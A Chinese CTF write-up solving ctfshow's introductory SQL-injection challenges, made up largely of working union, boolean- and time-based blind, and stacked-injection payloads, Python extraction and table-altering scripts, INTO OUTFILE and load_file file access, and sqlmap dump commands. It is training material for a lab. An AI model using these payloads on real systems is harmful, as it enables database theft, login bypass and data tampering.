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ctfshow web入门 sql注入

admin 阅读： 2024-04-01

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前言

sql注入分为多种类型的注入，我将对ctfshow web入门的sql入门进行题目分类，并在最后对每种sql注入做一下总结;

web171

本题类型联合注入

第一种方法万能密码

1'or 1=1 --+

第二种方法

联合注入

# @Author:Y4tacker
# 查数据库
payload = "-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+"
# 查列名
payload="-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+"
# 查flag
payload="-1'union select id,username,password from ctfshow_user --+"

这是按照数据库中有3个数据库进行，因为题目一般为3，当然也可以使用查询语句进行查询，语句如下

1' order by 3 --+

web172

联合查询

这道题同上，只不过不让userrname返回flag字样，所以就是基于联合查询的绕过

-1' union select 1,2 --+
-1' union select to_base64(username),hex(password) from ctfshow_user2 --+

web173

联合查询

只是让第一行也要返回数据

1' union select id,hex(username),hex(password) from ctfshow_user3--+

多一个点就行

web174

盲注

注意需要将url换成4

二分查找脚本

# @Author:Y4tacker
import requests
url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
r = requests.get(url + payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

二分查找的相关函数也是盲注的相关函数

length() 函数返回字符串的长度
substr() 截取字符串（语法:SUBSTR(str,pos,len);）
ascii() 返回字符的ascii码 [将字符变为数字wei]
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句如果第一个语句正确就执行第二个语句如果错误执行第三个语句

web175

时间盲注

说一下时间盲注，时间盲注的关键函数就是sleep()，在sleep中，sleep(n)就是停留n秒，这里的通过回显的时间长短来看看是否有时间盲注；

对于时间盲注测试

?id=1' and if(length(database())>=8,sleep(5),1)-- -

看它的反应时间，从而判断是不是含有时间盲注，如果随着sleep()中的时间增长，反应时间也会增长，那么就存在时间盲注

本题脚本

# @Author:Y4tacker
import requests
url = "http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1 #右移位算符，就是左边(head+tail)是要移的原数，而1就是要移的位数，1就是要除以2的几次方，1就是一次方。这里是二分法就是每次要除于2
payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
try:
r = requests.get(url + payload, timeout=0.5) //解释一下timeout是如果超过0.5秒没有响应就会返回异常
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head) #unicode解码函数，将数字转为对应的unicode字母
else:
break
print(result)

第二种方法

利用读写文件写入网站根目录
http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&limit=10
之后访问http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/1.txt

web176

联合注入

第一种方法

万能密码

1'or 1=1 --+

第二种方法

就是用大小写绕过

1' uNion sElect 1,2,password from ctfshow_user --+

web177

联合注入

就是空格被过滤了，就绕过空格就行

1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23

web178

联合注入

同上题，过滤了空格和*

解法1

过滤了空格与*号等用%09绕过
1'%09union%09select%091,2,3%23
之后一把梭得到flag1'%09union%09select%091,2,password%09from%09ctfshow_user%23

解法二

万能密码

id=1'or'1'='1'%23

web179

同上，只是又过滤%09

第一种方法

万能密码

id=1'or'1'='1'%23

第二种方法

这次还把%09过滤了，测试了下发现%0c可以绕过
所以1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

web180-182

把所有空格都过滤了，用万能密码，还可以用盲注

id=-1'or(id=26)and'1'='1

web183

布尔盲注

import string
import requests
url = "http://ff8c3946-0975-4e96-b520-a7a95a9f5038.challenge.ctf.show:8080/select-waf.php"
payload = "(ctfshow_user)where(pass)like(0x{})"
true_flag = "$user_count = 1;"
def make_payload(has: str) -> str:
return payload.format((has + "%").encode().hex())
def valid_payload(p: str) -> bool:
data = {
"tableName": p
}
response = requests.post(url, data=data)
return true_flag in response.text
flag = "ctf" # 这里注意表中用 like 'ctf%' 只有一个结果，要提前给出这一小段 flag 头避免其他记录干扰匹配
while True:
for c in "{}-" + string.digits + string.ascii_lowercase:
pd = flag+c
print(f"\r[*] trying {pd}", end="")
if valid_payload(make_payload(pd)):
flag += c
print(f"\r[*] flag: {flag}")
break
if flag[-1] == "}":
break

脚本如上

web184

过滤 ban 了 where，可以用 right/left/inner join 代替

import string
import requests
url = "http://89463a4c-73a0-4eb7-bc52-ed12c47bf60b.challenge.ctf.show:8080/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})"
true_flag = "$user_count = 43;"
def make_payload(has: str) -> str:
return payload.format((has).encode().hex())
def valid_payload(p: str) -> bool:
data = {
"tableName": p
}
response = requests.post(url, data=data)
return true_flag in response.text
flag = "ctf" # 这里注意表中用 regexp('ctf') 只有一个结果，要提前给出这一小段 flag 头避免其他记录干扰匹配
while True:
for c in "{}-" + string.digits + string.ascii_lowercase:
pd = flag+c
print(f"\r[*] trying {pd}", end="")
if valid_payload(make_payload(pd)):
flag += c
print(f"\r[*] flag: {flag}")
break
if flag[-1] == "}":
break

web185

过滤了数字，自己构造

脚本如下

# @Author:Y4tacker
import requests
url = "http://341e93e1-a1e7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php"
flag = 'flag{'
def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num
for i in range(45):
if i <= 5:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 43;") > 0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break

web186

同上，脚本如下；

# @Author:Y4tacker
import requests
url = "http://0ee67cf6-8b94-4384-962b-101fce5a7862.chall.ctf.show/select-waf.php"
flag = 'flag{'
def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num
for i in range(45):
if i <= 5:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 43;") > 0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break

web187

这道题属于一个姿势就是绕过md5($_POST['password'],true);老面孔了用户名填写admin密码为ffifdyop

账号是admin密码有两种

ffifdyop
129581926211651571912466741651878684928

web188

在 php 中，当一个字符串当作一个数值来取值，其结果和类型如下: 如果该字符串没有包含 '.'，'e'，'E' 并且其数值值在整形的范围之内该字符串被当作 int 来取值，其他所有情况下都被作为 float 来取值，该字符串的开始部分决定了它的值，如果该字符串以合法的数值开始，则使用该数值，否则其值为0。

$row['pass'] 为 string 类型，若第一个字符不是数字就会被转换为数字 0。尝试在 password 填写数字 0，成功绕过。
登录成功，response 内找到 flag

web189

这道题可以根据用户名username数值是0或1可以得到不同的结果，从而布尔盲注；

import requests
url = "http://06d6c1a8-d2cf-4590-8b20-19fd83835dff.challenge.ctf.show:8080/api/"
payload1 = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)"
def find_flag_index() -> int:
start = 0
end = 1000
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload1.format(index=p),
"password": 0
}
response = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
start = p
else:
end = p
if end < start:
end = start
return end
print("[*] finding flag index")
flag_index = find_flag_index()
print(f"[!] flag index found: {flag_index}")
flag = "c"
flag_index += 1
print("[*] start to injection")
payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"
while flag[-1] != "}":
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload2.format(flag_index, p),
"password": 0
}
response = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
start = p
else:
end = p
if end < start:
end = start
flag += chr(end)
print(f"[*] flag: {flag}")
flag_index += 1

脚本如上

web190

有过滤的字符型注入，没有给出过滤的正则表达式，在 username 处构造 payload 布尔盲注。
先查表名，再查列名，再用列名和表名构造 payload 查 flag。

import requests
url = "http://e542cd49-fc4e-4ed0-a6cf-0ba1142d8c97.challenge.ctf.show:8080/api/"
# 表名 ctfshow_fl0g,ctfshow_user
# payload = "0' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- "
# 列名 id,f1ag,id,username,pass
# payload = "0' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},1,0) -- "
# flag
payload = "0' or if(ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{},1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, p),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
index += 1

web191

布尔盲注，上脚本

# 不用二分法
import string
import requests
url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where " \
"table_schema=database()),{},1)='{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
def valid_char(index: int, c: chr) -> bool:
data = {
"username": payload.format(index, c),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
return true_flag in response.text
result = ""
index = 1
while True:
for char in string.printable:
print(f"\r[*] trying: {result + char}", end="")
if valid_char(index, char):
result += char
print(f"\r[*] result: {result}")
index += 1
break

# 用了二分法 dejavu~~~
import requests
url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 ID,F1AG,ID,usErNAME,pAss
# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, chr(p)),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
index += 1

web192

又过滤了一些东西，不影响上一道题的脚本，直接用上一道题的脚本就行

# 用了二分法 dejavu~~~
import requests
url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 ID,F1AG,ID,usErNAME,pAss
# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, chr(p)),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
index += 1

web193

过滤了substr，用mid就行；

import requests
url = "http://308c24b8-b4a7-4ad5-a2b9-42804d696718.challenge.ctf.show:8080/api/"
# 表名 ctfshow{flxg,ctfshow{user
# payload = "0' or if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 id,f1ag,id,username,pass
# payload = "0' or if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(mid((select f1ag from ctfshow_flxg),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, chr(p)),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end).lower() # 部分字母变成了大写 _ 变成了 { 暂时还不知道什么原因但可以肯定跟没用 ascii() 有关
print(f"[*] result: {result}")
index += 1

web194

新增了一些过滤，不影响上一道题的脚本，直接使用

web195

堆叠注入

没有过滤;和update set = 新学一种姿势，用户名填

0;update`ctfshow_user`set`pass`=0x3130303836

密码已改为10086

所以密码填10086就行

web196

有过滤的数字型注入，给出的过滤正则表达式变得不可信，明明有 select 但还是可以用的，利用堆叠注入绕过密码

1;select(1)
1

web197

这道题还是堆叠注入，直接爆破

import requests
url = "http://5b75f519-f196-427c-bbb1-6841984ef093.challenge.ctf.show:8080/api/"
def alter_table():
data = {
"username": "0;alter table ctfshow_user change column pass tmp varchar(255);alter table ctfshow_user change "
"column id pass varchar(255);alter table ctfshow_user change column tmp id varchar(255)",
"password": 1
}
_ = requests.post(url, data=data)
success_flag = "\\u767b\\u9646\\u6210\\u529f"
def brute_force_admin():
for i in range(300):
data = {
"username": f"0x{'admin'.encode().hex()}",
"password": 1
}
response = requests.post(url, data=data)
if success_flag in response.text:
print(f"[*] msg: {response.text}")
return
if __name__ == "__main__":
print("[*] change column id to pass")
alter_table()
print("[*] brute force admin password")
brute_force_admin()

web198

还是堆叠注入，还可以用上一道题脚本

web199

正则禁用了括号，password 改用 text 类型，id 改用 int 类型

import requests
url = "http://3e88c41f-6b50-41ed-9002-e37799200c7c.challenge.ctf.show:8080/api/"
def alter_table():
data = {
"username": "0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change "
"column id pass int;alter table ctfshow_user change column tmp id text",
"password": 1
}
_ = requests.post(url, data=data)
success_flag = "\\u767b\\u9646\\u6210\\u529f"
def brute_force_admin():
for i in range(300):
data = {
"username": f"0x{'admin'.encode().hex()}",
"password": 1
}
response = requests.post(url, data=data)
if success_flag in response.text:
print(f"[*] msg: {response.text}")
return
if __name__ == "__main__":
print("[*] change column id to pass")
alter_table()
print("[*] brute force admin password")
brute_force_admin()

web200

上一道题脚本可以使用

web201

sqlmap的使用

# 检测注入类型
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show"
# 出库名
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -dbs
# 出表名
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D "ctfshow_web" --tables
# 出数据
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --dump

web202

也是sqlmap的使用

$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3
$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 --dbs
$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 --D "ctfshow_web" --tables
$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 -D "ctfshow_web" -T "ctfshow_user" --dump

web203

sqlmap的使用

$ sqlmap -u "http://c9d3e765-d676-4c4c-a87b-3b99ebf5e70b.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web204

sqlmap的使用

$ sqlmap -u "http://38e4a4ea-fb61-45cd-81cb-2f96697a5d0f.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web205

sqlmap的使用，空格的绕过

$ sqlmap -u "http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=space2comment -T ctfshow_flaxca --dump

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